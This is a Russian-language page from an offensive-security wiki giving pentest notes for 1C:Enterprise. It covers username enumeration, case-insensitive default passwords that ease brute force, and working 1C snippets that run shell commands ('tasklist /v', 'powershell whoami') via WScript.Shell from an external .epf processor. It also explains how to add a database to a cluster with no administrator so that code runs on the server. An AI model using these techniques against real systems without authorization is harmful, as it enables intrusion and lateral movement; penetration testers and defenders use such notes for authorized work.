> For the complete documentation index, see [llms.txt](https://appsecurity.gitbook.io/offensive/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://appsecurity.gitbook.io/offensive/appsec/technologies/1c.md).

# 1C

## Что нужно знать, при пентесте 1С

* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru\_RU/e1cib/users.
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.

Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с разширением epf.

{% file src="/files/-MKinwPzIwqaAG\_Npx3d" %}

В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".

![](/files/-MKioBF-iJGfPopq0P6q)

Например:

```
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%"); 
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());

```

Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.

Еще пример test.epf скрипта

```
&НаСервере
Процедура ДействиеВыполнитьНаСервере()
	Попытка
		Shellexec = Новый COMОбъект("WScript.Shell");
		Shellexec.Exec("powershell whoami");
	Исключение
    	Сообщить("Error!");
	КонецПопытки;
КонецПроцедуры

&НаКлиенте
Процедура ДействиеВыполнить(Команда)
	ДействиеВыполнитьНаСервере();
КонецПроцедуры
```

## Администратор кластера на сервере 1C

Если на сервере 1C отсутстует администратор кластера, то такая конфигурация позоляет, подключившись к серверу 1C, добавить собственную БД кластер 1C и вывполнить произвольный код на сервере 1C.

Для проверки лезем в `Console Root\Central 1C:Enterprise XX servers\Some IP\Кластеры\Имя кластера\Администраторы`

Если там пусто, то в враздел Информационные базы добавляем свою базу и загружаем внешнюю обработку (shell.epf) 1С для выполнения кода на сервере:

![](/files/-MgRoh60RXVxWF9CEcIa)
